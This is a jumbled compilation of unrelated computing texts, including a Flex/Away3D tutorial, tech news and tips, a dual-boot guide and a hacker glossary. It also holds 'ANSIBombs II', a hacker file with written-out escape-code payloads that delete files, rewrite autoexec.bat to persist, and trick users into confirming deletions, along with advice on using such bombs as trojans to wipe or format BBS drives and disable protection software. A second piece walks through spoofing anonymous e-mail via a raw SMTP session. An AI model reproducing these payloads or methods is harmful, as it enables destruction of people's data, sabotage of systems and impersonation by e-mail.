The updateDisplayList function is called to size and position the children of the control. In this case our only child element is the Away3D engine, specifically the View3D object. All we do here is resize the view property to reflect the changes in the size of the EngineManager control.
The commitProperties function is called to allow the control to apply any property changes that have been made. The idea behind this is that properties can and will be changed in any order, but may have to be applied or processed in a specific order. Even though EngineManager doesn't expose any properties that can be changed, the code here is set to re-initialise the ApplicationManager (more on that class later), which in effect restarts the application.
The createChildren function is called when the control is expected to create any of its children. As mentioned before the only child of the EngineManager control is the Away3D engine, however we don't create the engine just yet. The Away3D engine makes numerous references to the stage property, which is null until the ADDED_TO_STAGE event has been triggered. So we attach the createChildrenEx function to this event, and create the Away3D engine then. Likewise we use the REMOVED_FROM_STAGE to call shutdown, which will clean up the Away3D engine.
The updateDisplayList, commitProperties, createChildren and measure functions all have functionality define by the UIComponent class. There are two more functions, shutdown and createChildrenEx, that also play an important role.
As noted above the createChildrenEx function is where the Away3D engine it actually started up. For this simple example we only need two Away3D classes: Camera3D and View3D. The Camera3D class, which we assign to the cam property, is the camera through which we look into the Away3D world. The View3D class, which we assign to the view property, takes care of rendering the 3D world onto your 2D monitor. The actual code for initialising the Away3D engine isn't more than a few lines. We create a new instance of the Camera3D class, and then a new instance of the View3D class. We then define which sort of renderer we want (the basic one in this case), and add the View3D as a child element of the EngineManager control.
In addition to initialising the Away3D engine, the createChildrenEx function also takes create of creating a new ResourceManager and ApplicationManager, and attaching the onEnterFrame function to the ENTER_FRAME event.
The shutdown function is used to clean up the Away3D engine. "Cleaning up" essentially means running through the createChildrenEx in reverse removing children where the have been added, and setting to null properties that had been initialised.
Finally in the onEnterFrame function we manage our render loop. It's here that we determine how much time has passed sine the last frame was rendered, synchronise the baseObjects collection, call enterFrame on all of our BaseObjects, and then finally render the frame to the screen with view.render().
BaseObject.as
The sole purpose of the BaseObject class is to allow an extending class to update itself when enterFrame is called. The startupBaseObject and shutdown functions are called to add the BaseObject to the EngineManagers collection and remove it. Then we have the enterFrame function, which is empty. The enterFrame function is expected to be overridden by extending classes.
MeshObject.as
The MeshObject class extends BaseObject and adds the ability for an object to have a 3D mesh representation on the screen. It includes a function called startupColladaModelObject which takes a Collada XML document, loads it as a mesh, textures it and adds the result to the Away3D scene.
RotatingModel.as
The RotatingModel class is an example of how you would use the MeshObject (and therefore the BaseObject) class. RotatingModel extends MeshObject, and then overrides the enterFrame function to rotate the model around by a small amount every frame. As you can see there is very little effort involved to have the RotatingModel load a model, add it to the scene, and then perform updates every frame: the majority of the work has been taken care of thanks to the MeshObject and BaseObject classes.
ResourceManager.as
The ResourceManager is used as an area to hold any resources used by the application. One of the problems you will face as a developer is the Flash security sand box, where local resources can't be loaded from a SWF located on a web server, and web resources can't be loaded from a local SWF (not without some mucking around anyway). The ResourceManager makes use of resource embedding through the Embed tag, which essentially takes a file on your development PC and embeds the data into the final SWF file. This makes it easy to distribute the resulting Flash SWF file because all the data is included in one file, and it overcomes any security issues when loading resources.
As you can see we embed two files. The fighter1.dae file is the Collada mesh that will be displayed on the screen, and the sf-02.jpg file will be used to texture the mesh.
The loadResources function is used to load the resources. The ConvertToXML function takes the embedded fighter1.dae file, which is embedded as a ByteArray, and converts it back into an XML object.
ApplicationManager.as
The ApplicationManager class defines the code that makes use of all the other classes we have created to actually produce the desired outcome. In this case the desired outcome is quite simple: we just want to create an instance of the RotatingMesh class. Because of the work we put into the previous classes the only thing ApplicationManager has to do is create a new instance of the RotatingMesh, initialise it with a call to startupRotatingMesh, and reposition it slightly on the screen.
GettingStarted.mxml
Finally we have the GettingStarted.mxml file. As you can see we add the EngineManager like it was just another control like a button or a textbox. Because we have implemented the nessessary functions to make EngineManager a Flex component this is all the code that is required.
We have covered a lot of code here for such a simple program, but creating this initial framework does save a lot of time later on, so it is worth the extra initial effort.
Check out the online demo here, and download the source code here.

Warning: Major Flaw with Push Notification Fix for Jailbroken iPhones

One of the known issues with the jailbroken iPhone running iPhone OS 3.0 is that it disables the Push Notification feature. The iPhone Dev Team had released a fix to resolve the issue.
However, German developer and founder of Equinux has discovered a major flaw with the Push Notification fix. He discovered that when he sent a message using AOL's AIM iPhone app to a friend in Europe, he received a reply not from his friend, but from a total stranger in the US - a person who had also installed the Push Notification patch.
Though it initially seemed to be a problem with AOL's AIM iPhone app, which appeared to be broadcasting instant messages to random, unintended recipients, the issue is due to the Push Notification fix installed on a jailbroken iPhone as it uses the same UDID - Unique Device ID for the fix.
Due to this hard-coding, if you send a message to one of a user of a jailbroken iPhone who has installed the push notification fix then other iPhone users who had installed the fix also get the message.
It is still not clear if the issue was due to the patch, that the iPhone Dev Team had released or due to the app called Push Fix, that was released by iPhoneIL who had essentially packaged the fix released by the Dev Team and released it on Cydia to make it easier for jailbroken iPhone users.
If you have installed the push notification fix then the one of the options would be to restore your iPhone with iPhone OS 3.0 and jailbreak it again.
As always, please let us know if you had installed the patch and if you received random messages.

ANSIBombs II Tips And Techniques

I. Introduction

After writing the last file, a lot of people let me know about the
mistakes I had made. I guess this file is to clear up those miscon
ceptions and to let people know about some of the little tricks behind
ANSI bombing. Of course, ANSI bombing isn't as dangerous as a lot of
people make it out to be, but bombs are still fun to make and with a
little planning deliver some degree of success. ANSI bombing can
be dangerous, so I am tired of hearing people say that an ANSI bomb is
harmless, another misconception I hope to clear up. Now, most people
that have spent time experimenting with ANSI bombs probably know most
of the material in this file, but it might be fun just to read anyway.

2. Misconceptions

In my last file, I made three major blunders, or what I would con
sider to be major blunders. First, I said that ANSI bombs could be
used on BBSs to screw people over, but I guess I was wrong. It was
pure speculation on what other people had said that made me say that.
ANSI codes, including those that redefine keys, are sent over the
lines, but most comm programs don't use ANSI.SYS; they use their own
version of ANSI, which doesn't support key redefinition. Some people
might have a program that supports it, but I haven't seen it yet. I
have tested bombs on systems on my own and proved to myself that they
don't work. I have also seen people fuck up bombs that would have
worked by uploading them in a message. The second misconception is
that ANSI bombs are dangerous when put into zips. I haven't really
tested this out much, but from what I hear with the newer versions of
PKZIP, you have to specify that you want to see ANSI comments when
unzipping. It is unlikely that you would waste your time unzipping
something again after seeing "Format C:" in the middle of an escape
code. I could be mistaken, but I'm pretty sure that I'm right. Third,
the last thing that was a misconception is that VANSI.SYS will protect
your system from key redefinition. Maybe the newer versions don't
support key redefinition, but mine sure as hell does. There are pro
grams out there that don't support it, but I don't know any of the
names. Of course, if I were you, I would be wary about using some
thing other then ANSI. I have a few friends that are working on "A
Better ANSI" for PDers, which, instead of being better, really screws
them over.

3. An Overview

Now, in case you haven't read my other file (it's called ANSI.DOC,
kind of lame but fairly informative), I'll briefly go over the struc
ture of an ANSI bomb. Skip this part if you know what an ANSI bomb is
and how to make one.
In ANSI everything is done with a system of escape codes. Key
redefinition is one of those codes. (From now, whenever I say ESC, I
really mean the arrow, ). Here is a basic command:
ESC [13;27p
This would make the key (13 is the code for enter) turn
into the key (27 is the code for escape). The always has to
be there, as do the bracket and the "p", but what is between the
bracket and the "p" is up to you. The first number is always the key
that you want to be redefined. If there is a zero for the first num
ber, that means the key is in the extended set, and therefore, the
first two numbers are the code. The bracket signifies the beginning
of the definition, and the "p" signifies the end. Whenever you want a
key pressed, you have to use it's numerical code (i.e. 13 is the code
for ). You can't redefine strings, but you can redefine a key
to become a string (i.e. ESC [13;"Blah"p would make say
"Blah"). Strings must be inside of quotes, which includes commands
that you want typed on the DOS prompt (i.e. ESC [13;"Del *.*";13p
would delete everything in the directory, note that 13 stands for
Enter in this case, not the redefinition). An escape code can have
as many commands as you want in it, but each one has to be separated
by a semi-colon. You can only redefine one key in each escape code,
so if you want to redefine another key, you have to start another
escape code. That's about it when it comes to bombs, now that you
have the basics, all you really need is a little imagination.

4. Tips and Tricks

A. The Y/N Redefinition

Now, here's a simple but fun little ANSI bomb:

ESC [78;89;13p ESC [110;121;13p

Basically, all this does is turn a capital "N" into "Y" and a
lower-case "n" into "y". Alone this doesn't do too much, except for
screw around with what they are typing. On the other hand, try adding
this line of code to the ANSI bomb:

ESC [13;27;13;"del *.*";13p

Most people would automatically press "N" when they see "Del *.*",
but when they do, they will be screwed over. This portion of a bomb
is very useful when it comes to making good bombs.

B. Screwing with the Autoexec.bat

Here is another line of code that you may find useful in future
bombing projects:

ESC [13;27;13;"copy bomb.ans c:\";13;"copy con
c:\autoexec.bat";13;"type bomb.ans";13;0;109;
13;"cls";13p

This line of code makes the bomb a little more permanent and a
little more dangerous. It copies the bomb into the root directory,
then it change/creates the autoexec.bat, so the bomb is typed after
every boot-up. Of course, the person could just boot off a disk, but
I'm sure this would get them a few time. It could also probably
appear as though it were a virus, scaring the shit out of the owner of
the computer.

C. Turning Commands into Other Commands

One of the best pranks to do to someone using an ANSI bomb is to
redefine commands. That way if they type in "copy", it will turn into
"Del *.*". Since you can't actually change the whole string, you have
to take a different approach. You have to change a few of the keys,
so when typed, they type and execute the desired command. I guess it
would be coolest to have to command exactly the same length; that way
you could redefine one key at a time to obtain the desired effect.
It doesn't really matter how you do it, just as long as it works. You
might make an ANSI that says "Wow, check out what this bomb did to
your directory", and then have it redefine the keys, so when they type
in "dir", it turns into "del". I think you get the idea.

D. Trojans

By now, everybody knows what a Trojan is. You probably wouldn't
think so, but ANSI bombs can be used as Trojans and in Trojans. First,
if you are planning on crashing a board, but you're not very good at
programming, then make yourself an ANSI bomb. Try to find out in
which directory the main files for running the BBS are stored. They
are usually under the name BBS or the name of the software, like WWIV
or Telegard. Then, make a bomb that either just deletes all the files
in that directory, or if you want the board to be down a longer time,
then make one that formats the Hard Drive. In this form ANSI bombs,
if they are well planned out, can be easy to make Trojans. Second,
ANSI bombs can used in Trojans. This is probably stretching it a
little, but say you wanted to write a Trojan that would delete a
directory, every time you typed a certain key, then you could use an
ANSI bomb. First make some batch and com/exe files that would search
for protecting programs like Norton and turn them off. Then you could
copy the file into the root directory, along with your versions of
autoexec.bat, config.sys, ANSI.sys, and whatever else. (To make it
look more realistic make the files Resource.00x to trick the user,
then when copying, use the real name). Then somehow lock the computer
up or do a warm boot through some pd program, which is easily attain
able. When the computer loads back up, you can screw that shit out of
them with your ANSI bomb.

5. Conclusion
It would seem to some people that ANSI bombs are very dangerous,
and to others that they are stupid or lame. Personally, I think that
ANSI bombs are just plain old fun. They're not too hard to make, but
there is a lot that you can do with them. They are nowhere near as
malicious as virii, so if you're looking for unstoppable destruction,
look elsewhere, but they do serve their purpose. I know that there
are programs out there that help you program ANSI bombs, but I think
that they kind of take the fun out of them. Probably, some day soon,
I'll quit making ANSI bombs and start looking more into virii and pure
Trojans. But for now, ANSI bombs suit my purpose.

-TRG

Appendix A: Key Code Program

Here is a small program, which I find very helpful. After loading
it up, it tells you the numeric code for every key you type in. Spe
cial means that it is in the extended set and therefore uses zero, and
"q" ends the program. Unfortunately, I can't take any credit for
this program. I got it over the phone from Heavymetl, and it was made
by his brother. So many thanks go out to Heavymetl and his brother,
even though they'll probably be a little pissed at me for including
this in my file. It is in Pascal and can be compiled in most Turbo
Pascal compilers.

Use CRT;
Var
CH : CHAR;
Begin
Repeat
CH := ReadKey;
If CH = #0 then
Begin
CH := ReadKey;
WriteLn(CH,'(Special) - ',ORD(CH));
End
Else
WriteLn(CH,' - ',ORD(CH));
Until
CH = 'q';
End.

Thanks go out to:

Heavymetl and his brother for the program and ideas. Weapons
Master for the input and the help he has given me. Everybody else who
has helped me out; you know who you are, or at least, you think you
know who you are. Most of all, to those brave soldiers risking their
asses everyday for us half-way across the world in Saudi Arabia. Your
deeds haven't gone unnoticed, of course that's mainly because that's
all the news ever shows nowadays. Also, to anybody else I might have
forgotten. Thanks.

DUAL BOOT

This tutorial was written to help set up a dual boot on a SATA drive but it will also work for PATA so continue forward and I will let you know if you need to skip something. In order to have a fully functional dual boot system it is preferred that Windows be loaded first. After that you can load Linux and easily dump the boot configuration on Windows NTLDR file (comparable to Linux boot file).
At least one of the following scenarios exist and that is why you are here reading this tutorial;
• You have a new Serial HDD (SATA) with no software installed,
• You have a new Parallel HDD (PATA) with no software installed,
• You have a HDD with Windows already installed, or
• You have a HDD with Linux already installed.
I used the following software;
• Windows 2000 Pro (this tutorial should work for 98 and XP also)
• SuSe 10
1. Setting Up a New SATA Drive
Note: The most popular Windows platforms, Windows 2000 and Windows XP (pre SP1), were released before and during the release of SATA drives.
In order for Windows to recognize the SATA HDD you will need to get the SATA/Raid drivers and place them on a floppy. These drivers can usually be obtained at the web site of your motherboard manufacturer. Look for Raid drivers (usually the location of the SATA drivers also) in their driver download section. If you can search the site look for TXTSETUP.OEM. You absolutely need this file and it will more than likely be located with the drivers needed. If you are unable to find the drivers needed then see this article for information on integrating installation packs and service packs.
TXTSETUP.OEM is a must! Windows Install uses this file to search for the applicable drivers. Proceed to Install windows.
2. Setting Up a PATA Drive
If this is a brand new drive go ahead and proceed to Install Windows.
If this is an installed hard drive with only Linux loaded, then back up and copy all your configuration files to a floppy, cd, or another drive. After that is done and verified the files were copied you need to clean the hard drive so you can start fresh and load Windows first.
If this is an installed drive with Windows already loaded you need to ensure there is sufficient unpartitioned space for Linux to load on. You have two options.
Note: There is a difference in free space and unpartitioned space. Typically when users load Windows they select the C: drive and the whole drive is formatted to NSTF or FAT. Linux needs unformatted/unpartitioned space to install.
1. You can do a fresh install of Windows, or
2. You can free up unpartitioned space if you have a partition program.
If you do not have a partition program there is a free one available called SystemRescueCd that works quite well. If you choose this option you will need to burn SystemRescue to a cd. Once you have done this and boot to the cd you will get this screen.
Enter fb1024 (1024 being the screen resolution setting). The process of setting up the cd files will begin.
The next screen will ask you to enter a keymap preceded by the codes for different languages.
Hit Enter for the system default. The next screen will be the SystemRescueCd command line.
Type run_qtparted and hit Enter. The next screen will ask for mouse type.
Enter the applicable number.
After your mouse selection the screen will change to a split window. The left side will identify the hard drives found and the right side will identify the partitions and free space on the selected drive.
Select the partition you wish to resize and then select Resize from the Menus or the icon tool bar (see cursor point) and follow the prompts.
Once you are done close the window and enter reboot at the SystemRescueCd command line.
3. Install Windows
Hit the power button and start your system. Insert your Windows disk and as soon as the first Setup screen appears hit F6. Note the message at the bottom of this startup screen.
Windows will proceed to load some files then change to a screen offering you the opportunity to install some additional drivers.
Enter S, which will take you to a screen instructing you to insert the floppy in drive A and hit Enter.
Providing you copied the right drivers it will proceed to extract the drivers needed. Once done it will return to the screen offering you the opportunity to load drives. This time you want to select Continue to continue installing Windows.
Eventually you will get to the part of the install where it will show the drive.
You have several options here. You want to select the second option by entering "C" and partition the drive. For Win2K you need a minimum of 340 MB and for Win XP you need a minimum of 1560 MB to load.
Of course you probably want room to load additional software, etc. The partitioning is done in MB so you may have to do some quick calculations keeping in mind there is basically 1024 MB to 1 GB. After you enter your partition size continue with the install.
When the install is done go ahead and reboot. Get all your settings taken care of and updates done then come back here and install Linux.
4. Install Linux
There are Perfect Setup HowTos for various Linux versions at the HowToForge site. I encourage you to use them which is why I will not go into the complete installation of Linux. Be sure to read them first though. These HowTos are typically designed for server systems and you will not need some of the setup after the installation section. Read the HowTo, if you have any questions regarding the HowTo or the linux install please use the HowToForge Forums.
I recommend you use the GRUB boot loader as there is hardly any maintenance involved and it fits in nicely with the Windows MBLR.
Experience has taught me that the Logical Volume Manager (LVM) of Linux partitioning is not very desirable among experienced users and I have had consistent problems when I applied it. To avoid this be sure to Manually partition your drive when asked. The most basic and usable setup is to create a boot (/boot) partition of about 100 MB, a Swap partition of at least twice the size of your RAM, and then a root (/) partition of the remaining space.

how to send ANONYMOUS e-mails to someone without a prog

I am going to explain ya a way to send home-made e-mails.
I mean its a way to send Annonimous e-mails without a program, it doesn't take
to much time and its cool and you can have more knowledge than with a stupid program that does all by itself.

This way
(to hackers) is old what as you are newby to this stuff, perhaps you may like to know how these anonymailers work,
(home-made)

Well.....
Go to Start, then Run...
You have to Telnet (Xserver) on port 25

Well, (In this Xserver) you have
to put the name of a server without the ( ) of course...
Put in iname.com in (Xserver) because it always work it is a server
with many bugs in it.
(25) mail port.

So now we are like this.

telnet iname.com 25

and then you hit enter
Then When you
have telnet open put the following like it is written

helo

and the machine will reply with smth.

Notice for newbies: If
you do not see what you are writing go to Terminal's menu (in telnet) then to Preferences and in the Terminal Options you
tick all opctions available and in the emulation menu that's the following one you have to tick the second option.
Now you
will se what you are writing.

then you put:

mail from: and so on...
If
you make an error start all over again

Example:
mail from:

You hit enter and then you put:


rcpt to:
This one has to be an existance address as you are mailing anonymously to him.

Then you
hit enter
And you type
Data
and hit enter once more

Then you write

Subject:whetever

And you hit enter

you write your
mail

hit enter again (boring)

you put a simple:
.

Yes you don't see it its the little fucking point!
and hit
enter
Finally you write
quit
hit enter one more time
and it's done

look:Try first do it with yourself I mean mail
annonymously yourself so you can test it!
Don't be asshole and write fucking e-mails to big corps. bec' its symbol of
stupidity and childhood and it has very very effect on Hackers they will treat you as a Lamer!

Really i don't know why i
wrote this fucking disclaimer, but i don't want to feel guilty if you get into trouble....

Disclamer:Hackerdevil is not
responsable for whetever you do with this info. you can destribute this but you are totally forbidden to take out the "By
Hackerdevil" line. You can't modify or customize this text and i am also not responsable if you send an e-mail to an
important guy and insult him, and i rectly advise you that this is for educational porpouses only my idea is for learning
and having more knowledge, you can not get busted with this stuff but i don't take care if it anyway happen to you.
If this method is new for ya probably you aren't a hacker so think that if someone wrote you an e-mail
"yourbestfirend@aol.com" insulting you and it wasn't him it but was some guy using a program or this info you won't like it.
so Use this method if you don't care a a damn hell or if you like that someone insult you.

A Short 'HACKERSPEAK' Glossary

A reference to a few of the terms used by many computer hackers.
-
(Researched and compiled by members of the Hollywood User Group)
-

arg - (argh) noun. An argument, in the mathematical sense.

automagically - adverb. Automatically, but in a way which, for some
reason (for example, because it's too complicated or too trivial) the
speaker doesn't feel like explaining.

bells and whistles - n. Unnecessary (but often convenient, useful,
good-looking, or amusing) features of a program or other object. Added
to a bare-bones, working program.

bit - n. 1) A unit of information obtained by asking a question (e.g.
- 'I need a few bits about Punter protocol') 2) A mental flag;
reminder that something should be done eventually.

buffer - verb. The act of saving or setting aside something to be done
later. (e.g. - 'I'm going to buffer that and go eat now').

bug - n. A problem or mistake; unwanted property or side effect.
Usually of a program, but can refer to a person. Can be very simple or
very complicated. Antonym: FEATURE.

bum - v. To improve something by rearranging or removing its parts.
Most often done to a program to increase speed or save memory space,
usually at the expense of clarity.

buzz - v. Of a program, to run without visible progress or certainty
of finishing. Resembles CATATONIA except that a buzzing loop may
eventually end.

canonical - (ki NAHN i kil) adjective. Standard, usual or ordinary way
of doing something.

catatonia - n. A condition in which something is supposed to happen,
but nothing does. (e.g. - Nothing you type will appear on the screen.
It's catatonic. Often means a CRASH has occured.)

crash - 1) n. Sudden, drastic failure. Usually refers to a complete
computer system or program. 2) v. To fail suddenly or cause to fail.
3) v. Of people, to go to sleep.

creeping featurism - n. Tendency for anything complicated to become
even more so because people keep saying, 'Hey, it would be terrific if
the program had this feature, and could do this, and...' The result is
a patchwork program, confusing to read, with a lot of 'neat' features.

crock - n. Said of a program that works, but in an extremely awkward
or cumbersome manner.

crunch - v. To process, usually in a time-consuming, complex way.
Example: Performing large, repetitive numerical computations is called
'number crunching'. 2) v. To reduce the size of a file (often in a
complicated way) to save space.

dec'ed out - (decked out) adj. Stoned, drunk (and possibly trying to
program, regardless). Uncomplimentary. Derives from the 65-- series
ML opcode DECrement, i.e.: decrease a value.

elegant - adj. Said of a piece of code that does the RIGHT THING in a
way beautiful to look at.

feature - n. An extra property or behaviour added to a program that
already does the job. May or may not be useful, necessary or
convenient.

fencepost error - n. A mathematical 'off-by-one' error. Most often
found in programs that must count loops (it will count one time too
many, or too few). Term comes from the problem: 'If you build a fence
100 feet long with posts 10 feet apart, how many posts fo you need?'
Example: Suppose you want to process an array of items x thru y. How
many are there? The correct answer is x-y+1 (not x-y, which would be
off by one).

flavor - n. variety, kind, type. (flavorful - adj. Aesthetically
pleasing).

flush - v. To scratch, delete or destroy something. Often something
superfluous or useless.

fudge - v. Perform in an incomplete, but marginally acceptable way.
'I fudged it, so it works.'

GC - (jee see) 1) v. To clean up, throw away useless things. 2) To
forget. GC is an abreviation of the term 'Garbage Collection', the
common method of freeing up memory space.

glitch - n. Sudden interruption in electrical service, common sense,
or program function. Usually happens only when you pray that it
doesn't.

grovel - v. To work interminably, examine minutely or in extreme
detail.

gun - v. To forcibly terminate a program. 'It was a boring display,
so I gunned it.'

hack - n. An appropriate application of ingenuity. It could be a
quick-and-dirty bug fix, or a time-consuming and elegant work of art.
A clever technique.

hack value - n. The motivation for expending effort and time toward a
seemingly pointless goal, the point being the resulting hack.

hack attack - n. Period of greatly increased hacking activity. Not to
be confused with a Mac-Attack.

hacker - n. 1) One who greatly enjoys learning the details of a
computer system and how to stretch their capabilities (as opposed to
REAL USERS who learn only the minimum amount necessary). 2) One who
programs enthusiastically, rather than just theorizing about it. 3)
One capable of appreciating HACK VALUE. 4) An expert of any kind 5) A
malicious or inquisitive meddler (in the case of a 'system hacker' or a
'password hacker').

inc it up - (also 'incing') v. Specifically related to studying,
reading, or learning ML. Derives from the 65-- series ML instruction
INCrement a value; i.e. increase it.

jock - n. Programmer characterized by the large, cumbersome,
brute-force programs he/she writes. The programs may work, but slowly,
inelegantly, or in an ugly way.

kludge - (kloog) 1) n. Clever programming trick, most often to fix a
bug. Efficient, but maybe unclear. 2) v. To insert a kludge into a
program (to fix a bug or add a feature).

magic - adj. Something as yet unexplained or too complex to imagine.

M&M's - n. Mental and Midget; i.e. Mental Midget. Uncomplimentary
term applied most often to 'system hackers' who intrude for disruptive
or destructive purposes (like to crash BBS's).

misfeature - n. A FEATURE that eventually turns out to be more trouble
than it was worth, possibly because it is inadequate for a new user or
situation that has evolved. Misfeatures are different from bugs or
side-effects in that they are often more basic to the program design
and, at one time, were carefully planned.

moby - 1) adj. Immense, complex, or impressive. 2) n. Total size of
a computers address space.

mode - n. A general state. Examples: DAY MODE - state a person is in
when s/he is working days and sleeping nights.

mumble - interjection. Said when the correct response is too
complicated to put into words or has not been thought out. Can
indicate a reluctance to enter a long discussion.

mumblage - n. The subject matter of one's mumbling. Replaces 'all
that stuff'.

nop around (or nopping) - v. Hanging out; not doing much; not
programming. Derives from the 65-- series ML instruction code 'NOP'
(No OPeration).

obie (or o.b.) - n. Derives from a pun with the word 'OverByte'.
Usually relates to a ML routine that doesn't work because of some
small mistake, possibly an incorrect addressing mode or even a typing
error. Most often one or two bytes wrong.

patch - 1) n. Piece of code intended as a quick-and-dirty remedy to a
BUG or MISFEATURE. 2) v. To fix something temporarily; insert a patch
into a piece of code; make the main program machine-specific.

punt - v. To give up; decide not to do.

rave - v. 1) To persist in discussing something. 2) To speak
authoritatively about that which one knows very little. 3) To
proselytize.

real user - n. A commercial user; a non-hacker who uses computer
applications only.

Real World, The - n. 1) Places where programs have only business
applications. 2) Institutions such as IBM. 3) The location of
non-programmers and non-programming activity. The first two
definitions are uncomplimentary; the third is not.

Right Thing, The - n. that which is obviously the appropriate thing to
use, do, say, etc.

rude - (rood or roo-day) adj. Programs badly written or functionally
poor.

sacred - adj. Reserved for the exclusive use of something. Usually
refers to memory location or register that shouldn't be used because
what is stored there must not change.

slurp - v. To read a large data file into memory before using or
processing data.

smart - adj. Said of a program (or something) that does THE RIGHT
THING.

SMOP - n. An acronym for a 'Small Matter Of Programming'. A piece of
code that would not at all be hard to write, but would take a very long
time because of its size. Not worth the trouble.

snail mail - n. Mail sent via Post Office, rather than electronically.

software rot - n. Hypothetical disease that causes working programs to
stop working when unused for a period of time.

tense - adj. Of programs, very clever and efficient. A tense
programmer produces tense code.

vanilla - adj. Standard, usual, or ordinary FLAVOR.

zero - v. 1) To set a bit or variable to zero. 2) To erase, or
discard all data from.

zorch - v. 1) To move quickly. 2) Influences. 3) Energy or ability.

Safari 4 Beta Available from Apple

Apple has released a beta version of Safari. This new version of Apple’s web browser boasts a few flashy new features:

  • See all your favorite web sites on the screen at once.
  • Browse your history and bookmarks with Cover Flow.
  • Improved tabs and browsing history search.
  • A Windows-esque look and feel for Windows PC users.

Want to enable 1password in the Safari 4 Beta? Here’s how.” shows you, well… how to transfer your passwords over to Safari 4 from 1password.

Mona N. of Pixel Bits says she switched back to Safari 3 due to stability issues with the beta (remember: “beta” means software that might have bugs). The ensuing conversation on FriendFeed gives a few others’ impressions of the new browser, including a few people who report not having experienced crashes.

If you have problems running Safari 4 Beta, the application comes with an uninstaller.

Learn How to Type Accurate and Fast Online, For Free

Have you been meaning to learn how to type, but never seem to get around actually starting the lessons? Wish you could bang out dozens of words per minute, but don’t want to shell out for typing software? Well for those of you who were not lucky enough to spend a few hours per week under the expert guidance of Mavis Beacon during your high school years, TypingWeb is here to fill the gab.

TypingWeb is a web application that offers a wide variety of typing exercises from beginner to advanced, right inside of your browser window. You can register with the site in order to keep track of your progress, or go through the lessons without registering.

Tips for Learning to Type

Here are a few tips for mastering the skill of typing:

  • Don’t look! If you catch yourself cheating, tape a sheet of paper to the top of your keyboard and let it rest on top of your hands as you do the exercises.
  • Concentrate on accuracy first, then work on speed.
  • Read fast to boost your typing speed. While doing the speed drills I read ahead and try to type fast enough to catch up to my train of thought.

Advanced Typing Exercises

TypingWeb isn’t just for beginners — the site also offers advanced exercises for veteran typists to stretch their fingers. I did some of their accuracy and speed drills, and topped out at 101 WPM with 98% accuracy. I will admit that my performance dropped to around 50-75 WPM with 98% accuracy for exercises with complex usage of numbers and special characters… I have never been very good at no-look typing on the number row.

Twitter users: how fast do you type?

So Of Zen and Computing is wondering — how fast do our readers type? Give some of the TypingWeb speed drills a try (located under “Intermediate Course”) and tell us how you did via Twitter (@ozac). We’ll publish some of the responses right here.

Quickly Generate Lorem Ipsum Text in a Microsoft Word Document

Microsoft Word 2007 has a simple shortcut that lets you generate Lorem Ipsum filler text with just a few keystrokes. You can enter the =lorem() function to generate a block of filler text, or provide arguments to the function to customize its output.

The complete function for adding a custom block of Lorem Ipsum filler text to your Word document is as follows:

=lorem(Number of paragraphs, Number of lines)

Just enter this function (starting with the equals sign) and hit Enter to generate your filler text. The parameters are optional, but allow you to specify how many paragraphs and lines of text should be generated. If this function does not work, click the Office Button, click “Word Options”, click “Proofing”, click “AutoCorrect Options”, and make sure “Replace text as you type” is checked off.

For more information about generating random text in your office documents, see the Microsoft Office KnowledgeBase article “How to insert sample text in Microsoft Office Word 2007”. It contains more information about the =lorem() function as well as instructions for inserting random text in older versions of Microsoft Word.

You can also generate Lorem Ipsum text using one of many online generators such as the Lipsum generator.

Mark Points on an Excel Chart with a Vertical Line

How To Add a Vertical Line to an Excel XY Chart” by The Closet Entrepeneur provides instructions for marking points of interest on an Excel chart with vertical lines.

Screenshot of a vertical line on an Excel chart

This tutorial may be particularly interesting to anyone who plots a series of data points over time with Excel. Using these instructions, one can mark “points of interest” along the X axis of an Excel chart in order to give context to the data. The author illustrates this by plotting his RSS subscribers over time, and the inserting a vertical line that shows the point at which is site was featured on a popular blog. The line can help to explain fluctuations in your data, and can be especially helpful when you are putting together a report that will be read by other people.

Digg Short URL Expander Greasemonkey Script

Digg Short URL Expander is a Greasemonkey script by Of Zen and Computing that expands Digg Short URLs. This user script modifies links on any web page so that the link URL points to the actual site being linked instead of an intermediary Digg.com page.

The Digg Short URL Controversy

Social news site Digg provides a URL shortening service that allows people to easily post links on sites like Twitter which limit the size of a message. The URL to the page being linked might be very long — the URL to the page you are currently reading for example, http://www.ofzenandcomputing.com/zanswers/2288, is 46 characters long and would therefore consume over 30% of the space allotted to you in a Twitter status update. But by shortening it to http://digg.com/u195mh with Digg’s URL shortening service, it becomes 22 characters long and only takes up 17% of the space allotted.

Controversy has risen around Digg’s URL shortening service. At first, linked pages were wrapped in a Digg-branded frame which motivated many bloggers, publishers and web developers to implement “frame killers” on their sites. And yesterday Digg was accused of hitting users with a bait and switch scheme by modifying the behavior of its URL shortening service so that visitors land on an intermediary Digg web page describing the linked site, instead of the site itself.

Digg’s Kevin Rose Not Pleased With DiggBar Change“ by TechCrunch notes that Digg founder Kevin Rose is not pleased with this change and we will likely see the new policy modified or reversed soon.

Fix it yourself with the Digg Short URL Expander

Why wait for an official announcement when the amazing flexibility the Firefox web browser gives you the power to modify the behavior of Digg Short URLs on your own? Install our Digg Short URL Expander Greasemonkey script and clicking Digg Short URLs will take you straight to the web page the publisher intended you to see.

Before you can use the Digg Short URL Expander script, you must be using Mozilla Firefox and have the Greasemonkey add-on installed.

Stop Forgetting to Add Outlook E-mail Attachments Before Sending

How many times have you typed up a lengthy e-mail mean to have a file attached, only to hit the send button without attaching that file? If you’re quick, you can usually follow your message right up with a quick “Sorry, here’s the attachment” message. And if you forget completely, you usually return to your inbox a while later to find multiple replies asking about the missing attachment.

Screenshot of Forgotten Attachment Detector prompt

Forgotten Attachment Detector by Bhavesh Chauhan of Microsoft Office Labs is an add-on for the Outlook 2007 e-mail client that is meant to avoid this potentially embarrassing situation. Forgotten Attachment Detector, or FAD for short, will scan your messages for keywords that indicate your intention to include an attachment. If FAD think you planned to attach a file to an e-mail and you attempt to send the message without doing so, FAD will notify you of the potential omission and give you a chance to correct the mistake before the e-mail gets on its way.

Forgotten Attachment Detector is compatible with Windows Vista, Windows 7 and Outlook 2007.

Quickly Remove Hyperlinks from a Word Document

From time-to-time you may wish to remove the hyperlinks from your Word documents. Those blue underlines are helpful on your computer, but you may not want them showing up on your printouts. Here is a method for removing all hyperlinks from a Word document in no time flat:

  1. Select the entire document by holding CTRL and pressing A.
  2. While holding down CTRL and Shift, press F9.

Your document is now hyperlink-free. More speedy key combos can be learned from “Keyboard shortcuts for Microsoft Word“.

C++ Basics

1. Introduction
• 1.1. Why do people program?
• 1.2. What is C++ & OOP?
• 1.3. What do I need to program?
2. Your first program
• 2.1. Running a C++ program
• 2.2. C++ program structure
• 2.3. Comments
• 2.4. Libraries
• 2.5. Functions
• 2.6. Streams
